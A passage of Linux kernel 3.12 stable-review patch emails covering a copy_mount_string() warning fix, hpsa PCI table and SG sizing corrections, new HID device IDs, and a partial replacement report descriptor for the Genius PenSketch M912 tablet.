fs/namespace.c: In function ‘SyS_mount’:
fs/namespace.c:2720:8: warning: ‘kernel_dev’ may be used uninitialized in this function [-Wmaybe-uninitialized]
  ret = do_mount(kernel_dev, kernel_dir->name, kernel_type, flags,
        ^
fs/namespace.c:2699:8: note: ‘kernel_dev’ was declared here
  char *kernel_dev;
        ^
fs/namespace.c:2720:8: warning: ‘kernel_type’ may be used uninitialized in this function [-Wmaybe-uninitialized]
  ret = do_mount(kernel_dev, kernel_dir->name, kernel_type, flags,
        ^
fs/namespace.c:2697:8: note: ‘kernel_type’ was declared here
  char *kernel_type;
        ^

Fix the warnings by simplifying copy_mount_string() as suggested by Al Viro.

Cc: Alexander Viro <viro@zeniv.linux.org.uk>
Signed-off-by: Tim Gardner <tim.gardner@canonical.com>
Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 fs/compat.c    | 10 ++++++----
 fs/internal.h  |  2 +-
 fs/namespace.c | 26 ++++++++------------------
 3 files changed, 15 insertions(+), 23 deletions(-)

diff --git a/fs/compat.c b/fs/compat.c
index 6af20de2c1a3..e1258be2848f 100644
--- a/fs/compat.c
+++ b/fs/compat.c
@@ -781,8 +781,9 @@ asmlinkage long compat_sys_mount(const char __user * dev_name,
 	struct filename *dir;
 	int retval;
 
-	retval = copy_mount_string(type, &kernel_type);
-	if (retval < 0)
+	kernel_type = copy_mount_string(type);
+	retval = PTR_ERR(kernel_type);
+	if (IS_ERR(kernel_type))
 		goto out;
 
 	dir = getname(dir_name);
@@ -790,8 +791,9 @@ asmlinkage long compat_sys_mount(const char __user * dev_name,
 	if (IS_ERR(dir))
 		goto out1;
 
-	retval = copy_mount_string(dev_name, &kernel_dev);
-	if (retval < 0)
+	kernel_dev = copy_mount_string(dev_name);
+	retval = PTR_ERR(kernel_dev);
+	if (IS_ERR(kernel_dev))
 		goto out2;
 
 	retval = copy_mount_options(data, &data_page);
diff --git a/fs/internal.h b/fs/internal.h
index 513e0d859a6c..6026fc0fbae0 100644
--- a/fs/internal.h
+++ b/fs/internal.h
@@ -53,7 +53,7 @@ extern int vfs_path_lookup(struct dentry *, struct vfsmount *,
  * namespace.c
  */
 extern int copy_mount_options(const void __user *, unsigned long *);
-extern int copy_mount_string(const void __user *, char **);
+extern char *copy_mount_string(const void __user *);
 
 extern struct vfsmount *lookup_mnt(struct path *);
 extern int finish_automount(struct vfsmount *, struct path *);
diff --git a/fs/namespace.c b/fs/namespace.c
index 185cd1aefa14..9ae6837ef5bf 100644
--- a/fs/namespace.c
+++ b/fs/namespace.c
@@ -2323,21 +2323,9 @@ int copy_mount_options(const void __user * data, unsigned long *where)
 	return 0;
 }
 
-int copy_mount_string(const void __user *data, char **where)
+char *copy_mount_string(const void __user *data)
 {
-	char *tmp;
-
-	if (!data) {
-		*where = NULL;
-		return 0;
-	}
-
-	tmp = strndup_user(data, PAGE_SIZE);
-	if (IS_ERR(tmp))
-		return PTR_ERR(tmp);
-
-	*where = tmp;
-	return 0;
+	return data ? strndup_user(data, PAGE_SIZE) : NULL;
 }
 
 /*
@@ -2617,8 +2605,9 @@ SYSCALL_DEFINE5(mount, char __user *, dev_name, char __user *, dir_name,
 	char *kernel_dev;
 	unsigned long data_page;
 
-	ret = copy_mount_string(type, &kernel_type);
-	if (ret < 0)
+	kernel_type = copy_mount_string(type);
+	ret = PTR_ERR(kernel_type);
+	if (IS_ERR(kernel_type))
 		goto out_type;
 
 	kernel_dir = getname(dir_name);
@@ -2627,8 +2616,9 @@ SYSCALL_DEFINE5(mount, char __user *, dev_name, char __user *, dir_name,
 		goto out_dir;
 	}
 
-	ret = copy_mount_string(dev_name, &kernel_dev);
-	if (ret < 0)
+	kernel_dev = copy_mount_string(dev_name);
+	ret = PTR_ERR(kernel_dev);
+	if (IS_ERR(kernel_dev))
 		goto out_dev;
 
 	ret = copy_mount_options(data, &data_page);
-- 
2.4.6

[PATCH 3.12 042/124] hpsa: fix a couple pci id table mistakes

[Jiri Slaby]

From: "Stephen M. Cameron" <scameron@beardog.cce.hp.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 7d2cce58a765e802959471f8a7edd83f113ad637 upstream.

Fix a couple of pci id table mistakes:
Subdevice ID 0x3323 missing from product[] table
	(another name for HP Smart Storage 1210m)
Bogus 0x1925 subdevice id removed from hpsa_pci_device_id[] (no such thing.)

Signed-off-by: Don Brace <don.brace@pmcs.com>
Reviewed-by: Webb Scales <webbnh@hp.com>
Signed-off-by: Christoph Hellwig <hch@lst.de>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/scsi/hpsa.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/scsi/hpsa.c b/drivers/scsi/hpsa.c
index 64e15408a354..f69a87b06c88 100644
--- a/drivers/scsi/hpsa.c
+++ b/drivers/scsi/hpsa.c
@@ -105,7 +105,6 @@ static const struct pci_device_id hpsa_pci_device_id[] = {
 	{PCI_VENDOR_ID_HP,     PCI_DEVICE_ID_HP_CISSH,     0x103C, 0x1922},
 	{PCI_VENDOR_ID_HP,     PCI_DEVICE_ID_HP_CISSH,     0x103C, 0x1923},
 	{PCI_VENDOR_ID_HP,     PCI_DEVICE_ID_HP_CISSH,     0x103C, 0x1924},
-	{PCI_VENDOR_ID_HP,     PCI_DEVICE_ID_HP_CISSH,     0x103C, 0x1925},
 	{PCI_VENDOR_ID_HP,     PCI_DEVICE_ID_HP_CISSH,     0x103C, 0x1926},
 	{PCI_VENDOR_ID_HP,     PCI_DEVICE_ID_HP_CISSH,     0x103C, 0x1928},
 	{PCI_VENDOR_ID_HP,     PCI_DEVICE_ID_HP_CISSH,     0x103C, 0x1929},
@@ -140,6 +139,7 @@ static struct board_type products[] = {
 	{0x3249103C, "Smart Array P812", &SA5_access},
 	{0x324A103C, "Smart Array P712m", &SA5_access},
 	{0x324B103C, "Smart Array P711m", &SA5_access},
+	{0x3233103C, "HP StorageWorks 1210m", &SA5_access}, /* alias of 333f */
 	{0x3350103C, "Smart Array P222", &SA5_access},
 	{0x3351103C, "Smart Array P420", &SA5_access},
 	{0x3352103C, "Smart Array P421", &SA5_access},
-- 
2.4.6

[PATCH 3.12 043/124] hpsa: correct off-by-one sizing of chained SG block

[Jiri Slaby]

From: Webb Scales <webbnh@hp.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 1a63ea6f244b10117601f96e7bde9f8d21ebe458 upstream.

Correct the size calculation of the chained SG block

Signed-off-by: Don Brace <don.brace@pmcs.com>
Signed-off-by: Webb Scales <webbnh@hp.com>
Reviewed-by: Stephen M. Cameron <stephenmcameron@gmail.com>
Reviewed-by: Don Brace <don.brace@pmcs.com>
Signed-off-by: Christoph Hellwig <hch@lst.de>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/scsi/hpsa.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/scsi/hpsa.c b/drivers/scsi/hpsa.c
index f69a87b06c88..6a03bd550242 100644
--- a/drivers/scsi/hpsa.c
+++ b/drivers/scsi/hpsa.c
@@ -4280,11 +4280,11 @@ static void hpsa_find_board_params(struct ctlr_info *h)
 	h->max_cmd_sg_entries = 31;
 	if (h->maxsgentries > 512) {
 		h->max_cmd_sg_entries = 32;
-		h->chainsize = h->maxsgentries - h->max_cmd_sg_entries + 1;
+		h->chainsize = h->maxsgentries - h->max_cmd_sg_entries;
 		h->maxsgentries--; /* save one for chain pointer */
 	} else {
-		h->maxsgentries = 31; /* default to traditional values */
 		h->chainsize = 0;
+		h->maxsgentries = 31; /* default to traditional values */
 	}
 
 	/* Find out what task management functions are supported and cache */
-- 
2.4.6

[PATCH 3.12 044/124] HID: apple: add Apple wireless keyboard 2011 JIS model support

[Jiri Slaby]

From: Huei-Horng Yo <hiroshi@ghostsinthelab.org>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit bd4a7ce1da061d97c45673e1ca1a6a474bfb4cff upstream.

Add Apple wireless keyboard 2011 JIS model (05ac:0257).

Signed-off-by: Huei-Horng Yo <hiroshi@ghostsinthelab.org>
Signed-off-by: Jiri Kosina <jkosina@suse.cz>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/hid/hid-apple.c | 3 +++
 drivers/hid/hid-core.c  | 1 +
 drivers/hid/hid-ids.h   | 1 +
 3 files changed, 5 insertions(+)

diff --git a/drivers/hid/hid-apple.c b/drivers/hid/hid-apple.c
index 3b219b9553fb..6d9649471f28 100644
--- a/drivers/hid/hid-apple.c
+++ b/drivers/hid/hid-apple.c
@@ -469,6 +469,9 @@ static const struct hid_device_id apple_devices[] = {
 	{ HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE,
 				USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_ANSI),
 		.driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN },
+	{ HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE,
+				USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_JIS),
+		.driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN },
 	{ HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_WIRELESS_JIS),
 		.driver_data = APPLE_NUMLOCK_EMULATION | APPLE_HAS_FN },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_WELLSPRING_ANSI),
diff --git a/drivers/hid/hid-core.c b/drivers/hid/hid-core.c
index b2ee609f77a9..ad7a3fcce225 100644
--- a/drivers/hid/hid-core.c
+++ b/drivers/hid/hid-core.c
@@ -1700,6 +1700,7 @@ static const struct hid_device_id hid_have_special_driver[] = {
 	{ HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_WIRELESS_2009_JIS) },
 	{ HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_ANSI) },
 	{ HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_ISO) },
+	{ HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_JIS) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_FOUNTAIN_TP_ONLY) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_APPLE, USB_DEVICE_ID_APPLE_GEYSER1_TP_ONLY) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_AUREAL, USB_DEVICE_ID_AUREAL_W01RN) },
diff --git a/drivers/hid/hid-ids.h b/drivers/hid/hid-ids.h
index 56a4ed6e679b..21a17ebab9c9 100644
--- a/drivers/hid/hid-ids.h
+++ b/drivers/hid/hid-ids.h
@@ -135,6 +135,7 @@
 #define USB_DEVICE_ID_APPLE_ALU_WIRELESS_2009_JIS   0x023b
 #define USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_ANSI  0x0255
 #define USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_ISO   0x0256
+#define USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_JIS   0x0257
 #define USB_DEVICE_ID_APPLE_WELLSPRING8_ANSI	0x0290
 #define USB_DEVICE_ID_APPLE_WELLSPRING8_ISO	0x0291
 #define USB_DEVICE_ID_APPLE_WELLSPRING8_JIS	0x0292
-- 
2.4.6

[PATCH 3.12 045/124] HID: hid-holtek-mouse: add new a070 mouse

[Jiri Slaby]

From: Kharlamov Alexey <derlafff@yandex.ru>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 274be3eb653c421d68514684024c6d915c94b728 upstream.

Added support of RITMIX ROM-316 mouse to hid-holtek-mouse workaround module

Signed-off-by: Alexey Kharlamov <derlafff@ya.ru>
Signed-off-by: Jiri Kosina <jkosina@suse.cz>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/hid/hid-core.c         | 1 +
 drivers/hid/hid-holtek-mouse.c | 3 +++
 drivers/hid/hid-ids.h          | 1 +
 3 files changed, 5 insertions(+)

diff --git a/drivers/hid/hid-core.c b/drivers/hid/hid-core.c
index ad7a3fcce225..50f2f6a5d34e 100644
--- a/drivers/hid/hid-core.c
+++ b/drivers/hid/hid-core.c
@@ -1737,6 +1737,7 @@ static const struct hid_device_id hid_have_special_driver[] = {
 	{ HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_KEYBOARD) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A04A) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A067) },
+	{ HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A070) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A072) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A081) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_HUION, USB_DEVICE_ID_HUION_580) },
diff --git a/drivers/hid/hid-holtek-mouse.c b/drivers/hid/hid-holtek-mouse.c
index 0caa676de622..d60fbd0adc0c 100644
--- a/drivers/hid/hid-holtek-mouse.c
+++ b/drivers/hid/hid-holtek-mouse.c
@@ -49,6 +49,7 @@ static __u8 *holtek_mouse_report_fixup(struct hid_device *hdev, __u8 *rdesc,
 			}
 			break;
 		case USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A04A:
+		case USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A070:
 		case USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A081:
 			if (*rsize >= 113 && rdesc[106] == 0xff && rdesc[107] == 0x7f
 					&& rdesc[111] == 0xff && rdesc[112] == 0x7f) {
@@ -65,6 +66,8 @@ static __u8 *holtek_mouse_report_fixup(struct hid_device *hdev, __u8 *rdesc,
 static const struct hid_device_id holtek_mouse_devices[] = {
 	{ HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT,
 			USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A067) },
+        { HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT,
+			USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A070) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT,
 			USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A04A) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT,
diff --git a/drivers/hid/hid-ids.h b/drivers/hid/hid-ids.h
index 21a17ebab9c9..a5d2458bb24f 100644
--- a/drivers/hid/hid-ids.h
+++ b/drivers/hid/hid-ids.h
@@ -464,6 +464,7 @@
 #define USB_DEVICE_ID_HOLTEK_ALT_KEYBOARD	0xa055
 #define USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A04A	0xa04a
 #define USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A067	0xa067
+#define USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A070	0xa070
 #define USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A072	0xa072
 #define USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A081	0xa081
 #define USB_DEVICE_ID_HOLTEK_ALT_KEYBOARD_A096	0xa096
-- 
2.4.6

[PATCH 3.12 046/124] HID: Add Holtek USB ID 04d9:a0c2 ETEKCITY Scroll

[Jiri Slaby]

From: John DeSilva <desilvjo@umich.edu>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 5df4eb054fe056ecb15875e812fdadbc47568d7d upstream.

The report descriptor for the HOLTEK USB ID 04d9:a0c2 (ETEKCITY Scroll
T-140 Gaming Mouse) is set to a very large amount of consumer usages
(2^16), exceeding HID_MAX_USAGES. Added id, bindings and comments for
the mouse, added to hid_have_special_driver, and reduced the usage and
logical maximums to 0x2fff, consistent with the other mice in the
category. Tested on the hardware.

Signed-off-by: John C. DeSilva <desilvjo@umich.edu>
Signed-off-by: Jiri Kosina <jkosina@suse.cz>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/hid/hid-core.c         | 1 +
 drivers/hid/hid-holtek-mouse.c | 4 ++++
 drivers/hid/hid-ids.h          | 1 +
 3 files changed, 6 insertions(+)

diff --git a/drivers/hid/hid-core.c b/drivers/hid/hid-core.c
index 50f2f6a5d34e..306f40c0d9a1 100644
--- a/drivers/hid/hid-core.c
+++ b/drivers/hid/hid-core.c
@@ -1740,6 +1740,7 @@ static const struct hid_device_id hid_have_special_driver[] = {
 	{ HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A070) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A072) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A081) },
+	{ HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT, USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A0C2) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_HUION, USB_DEVICE_ID_HUION_580) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_JESS2, USB_DEVICE_ID_JESS2_COLOR_RUMBLE_PAD) },
 	{ HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_ION, USB_DEVICE_ID_ICADE) },
diff --git a/drivers/hid/hid-holtek-mouse.c b/drivers/hid/hid-holtek-mouse.c
index d60fbd0adc0c..78b3a0c76775 100644
--- a/drivers/hid/hid-holtek-mouse.c
+++ b/drivers/hid/hid-holtek-mouse.c
@@ -29,6 +29,7 @@
  *   and Zalman ZM-GM1
  * - USB ID 04d9:a081, sold as SHARKOON DarkGlider Gaming mouse
  * - USB ID 04d9:a072, sold as LEETGION Hellion Gaming Mouse
+ * - USB ID 04d9:a0c2, sold as ETEKCITY Scroll T-140 Gaming Mouse
  */
 
 static __u8 *holtek_mouse_report_fixup(struct hid_device *hdev, __u8 *rdesc,
@@ -42,6 +43,7 @@ static __u8 *holtek_mouse_report_fixup(struct hid_device *hdev, __u8 *rdesc,
 		switch (hdev->product) {
 		case USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A067:
 		case USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A072:
+		case USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A0C2:
 			if (*rsize >= 122 && rdesc[115] == 0xff && rdesc[116] == 0x7f
 					&& rdesc[120] == 0xff && rdesc[121] == 0x7f) {
 				hid_info(hdev, "Fixing up report descriptor\n");
@@ -74,6 +76,8 @@ static const struct hid_device_id holtek_mouse_devices[] = {
 			USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A072) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT,
 			USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A081) },
+	{ HID_USB_DEVICE(USB_VENDOR_ID_HOLTEK_ALT,
+			USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A0C2) },
 	{ }
 };
 MODULE_DEVICE_TABLE(hid, holtek_mouse_devices);
diff --git a/drivers/hid/hid-ids.h b/drivers/hid/hid-ids.h
index a5d2458bb24f..d03e0a9f9244 100644
--- a/drivers/hid/hid-ids.h
+++ b/drivers/hid/hid-ids.h
@@ -467,6 +467,7 @@
 #define USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A070	0xa070
 #define USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A072	0xa072
 #define USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A081	0xa081
+#define USB_DEVICE_ID_HOLTEK_ALT_MOUSE_A0C2	0xa0c2
 #define USB_DEVICE_ID_HOLTEK_ALT_KEYBOARD_A096	0xa096
 
 #define USB_VENDOR_ID_IMATION		0x0718
-- 
2.4.6

[PATCH 3.12 047/124] HID: kye: Fix report descriptor for Genius PenSketch M912

[Jiri Slaby]

From: Milan Plzik <milan.plzik@gmail.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit feb6faf1e5d46276c5430e36ffb4a6f62bf8d55b upstream.

Genius PenSketch M912 digitizer tablet sends incorrect report descriptor by
default. This patch replaces it with a corrected one.

Signed-off-by: Milan Plzik <milan.plzik@gmail.com>
Reviewed-by: Nikolai Kondrashov <spbnick@gmail.com>
Signed-off-by: Jiri Kosina <jkosina@suse.cz>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 drivers/hid/hid-core.c          |   1 +
 drivers/hid/hid-ids.h           |   1 +
 drivers/hid/hid-kye.c           | 140 ++++++++++++++++++++++++++++++++++++++++
 drivers/hid/usbhid/hid-quirks.c |   1 +
 4 files changed, 143 insertions(+)

diff --git a/drivers/hid/hid-core.c b/drivers/hid/hid-core.c
index 306f40c0d9a1..b7a512a68a12 100644
--- a/drivers/hid/hid-core.c
+++ b/drivers/hid/hid-core.c
@@ -1754,6 +1754,7 @@ static const struct hid_device_id hid_have_special_driver[] = {
 	{ HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_MOUSEPEN_I608X) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_MOUSEPEN_I608X_2) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_EASYPEN_M610X) },
+	{ HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_PENSKETCH_M912) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_LABTEC, USB_DEVICE_ID_LABTEC_WIRELESS_KEYBOARD) },
 	{ HID_USB_DEVICE(USB_VENDOR_ID_LCPOWER, USB_DEVICE_ID_LCPOWER_LC1000 ) },
 #if IS_ENABLED(CONFIG_HID_LENOVO_TPKBD)
diff --git a/drivers/hid/hid-ids.h b/drivers/hid/hid-ids.h
index d03e0a9f9244..30517d03c9be 100644
--- a/drivers/hid/hid-ids.h
+++ b/drivers/hid/hid-ids.h
@@ -508,6 +508,7 @@
 #define USB_DEVICE_ID_KYE_MOUSEPEN_I608X	0x5011
 #define USB_DEVICE_ID_KYE_MOUSEPEN_I608X_2	0x501a
 #define USB_DEVICE_ID_KYE_EASYPEN_M610X	0x5013
+#define USB_DEVICE_ID_KYE_PENSKETCH_M912	0x5015
 
 #define USB_VENDOR_ID_LABTEC		0x1020
 #define USB_DEVICE_ID_LABTEC_WIRELESS_KEYBOARD	0x0006
diff --git a/drivers/hid/hid-kye.c b/drivers/hid/hid-kye.c
index a4beb9917b52..b92c6685f214 100644
--- a/drivers/hid/hid-kye.c
+++ b/drivers/hid/hid-kye.c
@@ -268,6 +268,137 @@ static __u8 easypen_m610x_rdesc_fixed[] = {
 	0xC0                          /*  End Collection                  */
 };
 
+
+/* Original PenSketch M912 report descriptor size */
+#define PENSKETCH_M912_RDESC_ORIG_SIZE	482
+
+/* Fixed PenSketch M912 report descriptor */
+static __u8 pensketch_m912_rdesc_fixed[] = {
+	0x05, 0x01,                   /*  Usage Page (Desktop),           */
+	0x08,                         /*  Usage (00h),                    */
+	0xA1, 0x01,                   /*  Collection (Application),       */
+	0x85, 0x05,                   /*    Report ID (5),                */
+	0x06, 0x00, 0xFF,             /*    Usage Page (FF00h),           */
+	0x09, 0x01,                   /*    Usage (01h),                  */
+	0x15, 0x81,                   /*    Logical Minimum (-127),       */
+	0x25, 0x7F,                   /*    Logical Maximum (127),        */
+	0x75, 0x08,                   /*    Report Size (8),              */
+	0x95, 0x07,                   /*    Report Count (7),             */
+	0xB1, 0x02,                   /*    Feature (Variable),           */
+	0xC0,                         /*  End Collection,                 */
+	0x05, 0x0D,                   /*  Usage Page (Digitizer),         */
+	0x09, 0x02,                   /*  Usage (Pen),                    */
+	0xA1, 0x01,                   /*  Collection (Application),       */
+	0x85, 0x10,                   /*    Report ID (16),               */
+	0x09, 0x20,                   /*    Usage (Stylus),               */
+	0xA0,                         /*    Collection (Physical),        */
+	0x09, 0x42,                   /*      Usage (Tip Switch),         */
+	0x09, 0x44,                   /*      Usage (Barrel Switch),      */
+	0x09, 0x46,                   /*      Usage (Tablet Pick),        */
+	0x14,                         /*      Logical Minimum (0),        */
+	0x25, 0x01,                   /*      Logical Maximum (1),        */
+	0x75, 0x01,                   /*      Report Size (1),            */
+	0x95, 0x03,                   /*      Report Count (3),           */
+	0x81, 0x02,                   /*      Input (Variable),           */
+	0x95, 0x04,                   /*      Report Count (4),           */
+	0x81, 0x03,                   /*      Input (Constant, Variable), */
+	0x09, 0x32,                   /*      Usage (In Range),           */
+	0x95, 0x01,                   /*      Report Count (1),           */
+	0x81, 0x02,                   /*      Input (Variable),           */
+	0x75, 0x10,                   /*      Report Size (16),           */
+	0x95, 0x01,                   /*      Report Count (1),           */
+	0xA4,                         /*      Push,                       */
+	0x05, 0x01,                   /*      Usage Page (Desktop),       */
+	0x55, 0xFD,                   /*      Unit Exponent (-3),         */
+	0x65, 0x13,                   /*      Unit (Inch),                */
+	0x14,                         /*      Logical Minimum (0),        */
+	0x34,                         /*      Physical Minimum (0),       */
+	0x09, 0x30,                   /*      Usage (X),                  */
+	0x27, 0x00, 0xF0, 0x00, 0x00, /*      Logical Maximum (61440),    */
+	0x46, 0xE0, 0x2E,             /*      Physical Maximum (12000),   */
+	0x81, 0x02,                   /*      Input (Variable),           */
+	0x09, 0x31,                   /*      Usage (Y),                  */
+	0x27, 0x00, 0xB4, 0x00, 0x00, /*      Logical Maximum (46080),    */
+	0x46, 0x28, 0x23,             /*      Physical Maximum (9000),    */
+	0x81, 0x02,                   /*      Input (Variable),           */
+	0xB4,                         /*      Pop,                        */
+	0x09, 0x30,                   /*      Usage (Tip Pressure),       */
+	0x14,                         /*      Logical Minimum (0),        */
+	0x26, 0xFF, 0x07,             /*      Logical Maximum (2047),     */
+	0x81, 0x02,                   /*      Input (Variable),           */
+	0xC0,                         /*    End Collection,               */
+	0xC0,                         /*  End Collection,                 */
+	0x05, 0x0D,                   /*  Usage Page (Digitizer),         */
+	0x09, 0x21,                   /*  Usage (Puck),                   */
+	0xA1, 0x01,                   /*  Collection (Application),       */
+	0x85, 0x11,                   /*    Report ID (17),               */
+	0x09, 0x21,                   /*    Usage (Puck),                 */
+	0xA0,                         /*    Collection (Physical),        */
+	0x05, 0x09,                   /*      Usage Page (Button),        */
+	0x75, 0x01,                   /*      Report Size (1),            */
+	0x19, 0x01,                   /*      Usage Minimum (01h),        */
+	0x29, 0x03,                   /*      Usage Maximum (03h),        */
+	0x14,                         /*      Logical Minimum (0),        */
+	0x25, 0x01,                   /*      Logical Maximum (1),        */
+	0x95, 0x03,                   /*      Report Count (3),           */
+	0x81, 0x02,                   /*      Input (Variable),           */
+	0x95, 0x04,                   /*      Report Count (4),           */
+	0x81, 0x01,                   /*      Input (Constant),           */
+	0x95, 0x01,                   /*      Report Count (1),           */
+	0x0B, 0x32, 0x00, 0x0D, 0x00, /*      Usage (Digitizer In Range), */
+	0x14,                         /*      Logical Minimum (0),        */
+	0x25, 0x01,                   /*      Logical Maximum (1),        */
+	0x81, 0x02,                   /*      Input (Variable),           */
+	0xA4,                         /*      Push,                       */
+	0x05, 0x01,                   /*      Usage Page (Desktop),       */
+	0x75, 0x10,                   /*      Report Size (16),           */
+	0x95, 0x01,                   /*      Report Count (1),           */
+	0x55, 0xFD,                   /*      Unit Exponent (-3),         */
+	0x65, 0x13,                   /*      Unit (Inch),                */
+	0x14,                         /*      Logical Minimum (0),        */
+	0x34,                         /*      Physical Minimum (0),       */
+	0x09, 0x30,                   /*      Usage (X),                  */
+	0x27, 0x00, 0xF0, 0x00, 0x00, /*      Logical Maximum (61440),    */
+	0x46, 0xE0, 0x2E,             /*      Physical Maximum (12000),   */
+	0x81, 0x02,                   /*      Input (Variable),           */
+	0x09, 0x31,                   /*      Usage (Y),                  */
+	0x27, 0x00, 0xB4, 0x00, 0x00, /*      Logical Maximum (46080),    */
+	0x46, 0x28, 0x23,             /*      Physical Maximum (9000),    */
+	0x81, 0x02,                   /*      Input (Variable),           */
+	0x09, 0x38,                   /*      Usage (Wheel),              */
+	0x75, 0x08,                   /*      Report Size (8),            */
+	0x95, 0x01,                   /*      Report Count (1),           */
+	0x15, 0xFF,                   /*      Logical Minimum (-1),       */
+	0x25, 0x01,                   /*      Logical Maximum (1),        */
+	0x34,                         /*      Physical Minimum (0),       */
+	0x44,                         /*      Physical Maximum (0),       */
+	0x81, 0x06,                   /*      Input (Variable, Relative), */
+	0xB4,                         /*      Pop,                        */
+	0xC0,                         /*    End Collection,               */
+	0xC0,                         /*  End Collection,                 */
+	0x05, 0x0C,                   /*  Usage Page (Consumer),          */
+	0x09, 0x01,                   /*  Usage (Consumer Control),       */
+	0xA1, 0x01,                   /*  Collection (Application),       */
+	0x85, 0x12,                   /*    Report ID (18),               */
+	0x14,                         /*    Logical Minimum (0),          */
+	0x25, 0x01,                   /*    Logical Maximum (1),          */
+	0x75, 0x01,                   /*    Report Size (1),              */
+	0x95, 0x08,                   /*    Report Count (8),             */
+	0x05, 0x0C,                   /*    Usage Page (Consumer),        */
+	0x0A, 0x6A, 0x02,             /*    Usage (AC Delete),            */
